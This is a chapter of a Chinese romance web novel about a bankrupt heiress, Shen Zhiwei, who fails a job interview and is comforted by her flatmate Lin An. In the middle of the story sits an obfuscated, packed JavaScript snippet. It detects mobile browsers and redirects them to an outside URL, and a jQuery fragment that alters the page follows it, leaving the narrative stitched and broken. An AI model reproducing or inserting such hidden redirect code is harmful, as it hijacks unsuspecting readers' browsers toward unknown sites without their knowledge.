纸箱里是她的东西。几件衣服，几本书，一些小时候的玩具，还有一本相册。
她拿起相册，翻开。第一页就是她五岁生日时的照片。她穿着公主裙，戴着王冠，坐在巨大的蛋糕前，笑得眼睛弯成月牙。爸爸站在她左边，妈妈站在她右边，两个人都笑着看着她。
那时候，一切都很好。
沈枝薇合上相册，放回纸箱。
“这些我先带走。”她说，“衣服和首饰，李姨，你帮我处理掉吧。能卖多少卖多少，钱你留着。”
“那怎么行！”李阿姨急了，“这些都是夫人留给你的——”
“我现在用不上。”沈枝薇打断她，声音很平静，“而且，我也没地方放。”
李阿姨看着她，眼圈又红了。
“小姐……”
“李姨。”沈枝薇站起来，握住她的手，“别叫我小姐了。沈家已经没了，我也不是小姐了。”
李阿姨的眼泪掉下来。
沈枝薇抱了抱她，然后抱起那个装着自己东西的纸箱。
“我走了。”她说，“李姨，你保重。”
“小姐……”李阿姨追到门口，“你、你住在哪里？过得好不好？有没有人欺负你？”
沈枝薇回头，对她笑了笑。
“我很好。”她说，“住在朋友家，没人欺负我。”
然后，她转身下楼。
走出楼道，阳光刺眼。沈枝薇眯了眯眼睛，抱紧了怀里的纸箱。
纸箱不重，但她觉得每一步都很沉。
她拦了辆出租车，回林荌家。
路上，她接到面试公司的电话，问她下午两点能不能准时到。她说能。
挂掉电话，她看着窗外飞逝的街景，忽然觉得很累。
很累很累。
沈枝薇回到林荌家的时候，是中午十二点。
她开门进去，屋里很安静。林荌不在，应该还没回来。
她抱着纸箱走进房间，关上门，把纸箱放在地上。然后，她脱掉鞋子，倒在床上，闭上眼睛。
很累，但睡不着。
脑子里乱糟糟的。一会儿是面试，一会儿是那件风衣，一会儿是李阿姨红了的眼眶，一会儿是纸箱里的相册。
还有林荌。林荌给她贴创可贴的样子，林荌教她做菜的样子，林荌说“你欠我十块”的样子。
沈枝薇翻了个身，把脸埋进枕头里。
枕头上有很淡的洗衣液的味道，和林荌身上的味道一样。
她深吸一口气，然后坐起来，开始准备面试。
洗澡，洗头，吹干，化妆。妆化得很淡，但很精致。粉底，眉毛，眼线，睫毛，口红。每一步都很认真，像是在完成某种仪式。
然后，她穿上新买的正装。白衬衫，黑裙子，低跟鞋。站在镜子前，打量自己。
镜子里的女人，很陌生。妆容精致，衣着得体，但眼睛里没有光。
沈枝薇看着镜子里的自己，看了很久。
然后，她转身，拿起包，走出房间。
客厅里，林荌回来了。她坐在沙发上，手里拿着平板电脑，听见声音，抬起头。
目光在沈枝薇身上停留了三秒。
“面试？”她问。
“嗯。”沈枝薇点头，拉了拉裙摆，“下午两点。”
林荌放下平板，站起来，走到她面前。
“衬衫最上面那颗扣子，解开。”她说。
沈枝薇愣了一下，然后照做。解开最上面的扣子，露出一点点锁骨。
“头发，扎起来。”林荌又说。
沈枝薇把披散的头发扎成低马尾。
林荌看了她一会儿，然后说：“可以了。”
沈枝薇低下头，小声说：“谢谢。”
“几点结束？”林荌问。
“不知道。”沈枝薇说，“可能……四五点吧。”
“嗯。”林荌点头，“晚上想吃什么？”
沈枝薇抬起头，看着她。
林荌的表情很平静，像是在问“今天天气怎么样”。
“随便。”沈枝薇说。
“那就做你昨天学的那道，蒜蓉蒸虾。”林荌说，“材料我都买好了，在冰箱里。”
沈枝薇的心，轻轻动了一下。
“好。”她说。
林荌重新坐回沙发上，拿起平板。
沈枝薇站在门口，看着她。
“林荌。”她叫。
“嗯？”
“我走了。”
“嗯。”林荌没抬头，“路上小心。”
沈枝薇拉开门，走了出去。
门关上。
林荌抬起头，看着那扇关上的门，看了很久。
然后，她放下平板，走到沈枝薇的房间门口。
门没锁。她推开门，走进去。
房间很整洁，床铺得平整，书桌上什么都没有。只有地上，放着一个纸箱。
林荌走过去，蹲下来，看着那个纸箱。
纸箱没封，她能看见里面的东西。几件衣服，几本书，一本相册。
她伸出手，翻开相册。
第一页，是沈枝薇五岁生日的照片。她穿着公主裙，戴着王冠，笑得灿烂。父母站在她身边，一脸宠溺。
林荌一页一页地翻过去。十岁，十五岁，二十岁。每一张照片里，沈枝薇都在笑，笑得明媚，笑得张扬，笑得无忧无虑。
直到最后一页。
最后一页是空白的。
林荌合上相册，放回纸箱。
然后，她站起来，走出房间，轻轻关上门。
她回到客厅，在沙发上坐下，拿起平板。
平板上是沈枝薇的简历。她不知道从哪里找到的，也许是沈枝薇投简历的时候，不小心发错了邮箱。
简历很漂亮。名校毕业，精通三门外语，有海外交换经历，实习单位都是名企。
但工作经验那一栏，是空的。
林荌看着那份简历，看了很久。
然后，她关掉平板，起身走到阳台。
阳台上的绿植长得很好，郁郁葱葱。她拿起喷壶，给它们浇水。
水珠落在叶子上，滚落，消失。
林荌看着那些绿植，忽然想起沈枝薇第一天搬进来时的样子。穿着八千块的开衫，拎着Celine的帆布包，眼睛红红的，像只受惊的小兔子。
那时候，她觉得这小骗子演技不错。
现在，她觉得，也许那不是演技。
也许，那只是一个人在坠落的途中，本能地抓住最后一根稻草。
哪怕那根稻草，是另一个人的怜悯。
林荌放下喷壶，回到客厅。
她拿起手机，拨通了一个号码。
“陈律师。”她说，“沈家那个案子，现在什么情况？”
沈枝薇的面试，很不顺利。
公司很小，在一栋写字楼的十七层，办公室只有一百多平，十几个工位挤在一起，空气里弥漫着外卖和复印机的味道。
面试她的是个中年男人，秃顶，戴着厚厚的眼镜。他看了沈枝薇的简历，又看了看沈枝薇本人，眼神在她身上停留了很久。
“沈小姐条件很好啊。”他说，推了推眼镜，“怎么会想来我们这种小公司？”
沈枝薇坐得很直，双手放在膝盖上，指甲掐进掌心。
“我觉得贵公司很有发展潜力。”她说，声音平稳，带着标准的微笑，“希望能有机会学习。”
男人笑了笑，那笑容让沈枝薇很不舒服。
“我们这里工作强度很大，经常加班，薪水也不高。”他说，身体往前倾，胳膊撑在桌子上，“沈小姐这样的……能吃苦吗？”
沈枝薇维持着微笑：“我可以。”
“是吗？”男人靠回椅背，打量着她，“沈小姐以前的生活，应该很优越吧？突然来吃苦，能适应吗？”
沈枝薇的笑容有点僵。
“我能适应。”她说。
男人看了她一会儿，然后说：“行，那先这样。有消息我们会通知你。”
沈枝薇知道，这是没戏了。
她站起来，礼貌地道谢，然后转身离开。
走出办公室，她能感觉到背后那个男人的目光，黏在她身上，像甩不掉的蛛网。
她加快脚步，走进电梯。电梯门关上，她靠在轿厢壁上，闭上眼睛。
很累。
比想象中还要累。
她走出写字楼，站在路边，看着来来往往的车流，忽然不知道该去哪里。
回林荌家吗？可是现在才下午三点，林荌问起来，她该怎么说？
说面试很顺利？可她的表情一定骗不过林荌。
说面试失败了？那林荌会怎么看她？一个连月薪三千五的工作都找不到的、一无是处的大小姐？
沈枝薇站在路边，站了很久。
然后，她拿出手机，点开地图，搜索最近的商场。
她需要买点东西。什么都行。只要能让她暂时忘记现在的处境，忘记那个男人恶心的目光，忘记沈家已经破产的事实，忘记她是一个连月薪三千五的工作都找不到的、失败的人。
她走进商场，漫无目的地逛。逛化妆品柜台，逛服装店，逛饰品店。她试了一支口红，试了一件裙子，试了一条项链。
每一件都很美，每一件都很适合她。
但每一件，她都买不起。
最后，她停在超市的入口。看着里面推着购物车、来来往往的人，忽然觉得，自己和这个世界格格不入。
她转身，离开商场。
天开始阴了。乌云压下来，空气闷热，像是要下雨。
沈枝薇沿着街道走，不知道要去哪里，只是走着。
然后，她看见了一家咖啡馆。
很眼熟的咖啡馆。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375407|200077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是她上午卖掉风衣的那家。
她走进去，找了个角落的位置坐下。服务员过来，她点了一杯美式。
咖啡很快端上来。很苦，但她喝得很慢，一小口一小口，像是在品尝什么珍馐。
窗外的天越来越暗，终于，雨点落下来。
先是稀疏的几滴，然后越来越密，砸在玻璃窗上，发出噼里啪啦的声响。
沈枝薇看着窗外的雨，看着行人匆匆跑过，看着车辆驶过溅起的水花。
她忽然想起，很多年前的一个雨天。她坐在爸爸的车上，从学校回家。雨很大，雨刷器来回摆动，她还是能看见窗外的世界，一片模糊。
那时候，她觉得安全。因为爸爸在，车是温暖的，家也是温暖的。
现在，爸爸在国外，妈妈也在国外。车没了，家也没了。
只剩下她一个人，坐在陌生的咖啡馆里，喝着一杯二十八块钱的美式咖啡。
沈枝薇低下头，看着杯子里深褐色的液体。
然后，她拿出手机，点开微信。
置顶的聊天框，是林荌。
最后一条消息，是她早上发的：“我走了。”
林荌没回。
沈枝薇盯着那个聊天框，看了很久。
然后，她打字：
“面试结束了。”
发送。
等了一分钟，两分钟，五分钟。
没有回复。
沈枝薇关掉屏幕，把手机扣在桌上。
咖啡已经凉了。她端起来，一口喝完。苦味从舌尖蔓延到喉咙，再到胃里。
她站起来，结账，走出咖啡馆。
雨还在下。她没有伞，就这样走进雨里。
雨很大，很快就把她的头发、衣服淋湿了。白衬衫贴在身上，黑裙子也湿透了，低跟鞋里灌满了水，每走一步，都发出噗嗤噗嗤的声音。
路过的人用奇怪的眼神看她。但她不在乎。
她只是走着，一直走，走回林荌家的小区。
保安认识她，给她开了门。她走进电梯，按下二十八楼。
电梯镜子里，映出一个狼狈的女人。头发湿透，贴在脸上，妆容花了，白衬衫变得透明，能看见里面内衣的轮廓。
沈枝薇看着镜子里的自己，忽然笑了。
笑得肩膀都在抖。
电梯门开了。她走出去，走到2801门口，按下密码。
门开了。
屋里很安静，只有雨声敲打窗户的声音。
林荌不在客厅。
沈枝薇脱掉鞋子，赤脚走进去。地上留下一串湿漉漉的脚印。
她走到自己房间门口，推开门，走进去，然后关上门。
背靠着门，缓缓滑坐在地。
地板很凉。但她不在乎。
她坐在地上，抱着膝盖，把脸埋进臂弯里。
肩膀开始颤抖。
起初是无声的，然后，有细碎的呜咽从喉咙里溢出来。
很轻，很小，像受伤的小兽。
门外，传来脚步声。
停在门口。
沈枝薇立刻捂住嘴，屏住呼吸。
敲门声响起。
“沈枝薇。”是林荌的声音，很平静。
沈枝薇不说话。
“开门。”林荌又说。
沈枝薇还是不说话。
门外安静了几秒。然后，钥匙插进锁孔的声音。
门开了。
林荌站在门口，看着坐在地上的沈枝薇。
沈枝薇抬起头，脸上全是水，分不清是雨水还是泪水。
她看着林荌，张了张嘴，想说点什么，但一个字也说不出来。
林荌走进来，蹲在她面前。
她的目光落在沈枝薇湿透的衣服上，落在她花了妆的脸上，落在她红肿的眼睛上。
然后，她伸出手，用指腹擦掉沈枝薇脸上的水。
动作很轻，很温柔。
“面试没过？”她问，声音也很轻。
沈枝薇的眼泪，一下子涌了出来。
她点头，用力点头，眼泪大颗大颗地往下掉。
林荌没说话，只是看着她哭。
看了很久。
然后，她伸手，把沈枝薇拉进怀里。
沈枝薇僵住了。
林荌的怀抱很暖，有很淡的沐浴露的味道，像雪松，又像阳光。
“哭吧。”林荌说，声音在她头顶响起，“哭完就好了。”
沈枝薇的眼泪，掉得更凶了。
她伸手，抓住林荌的衣服，把脸埋进她怀里，放声大哭。
哭她的委屈，哭她的不甘，哭她失去的一切，哭她看不到的未来。
林荌抱着她，轻轻拍着她的背，像在哄一个孩子。
窗外，雨还在下。
哗啦啦，哗啦啦。
像是要把整个世界都洗干净。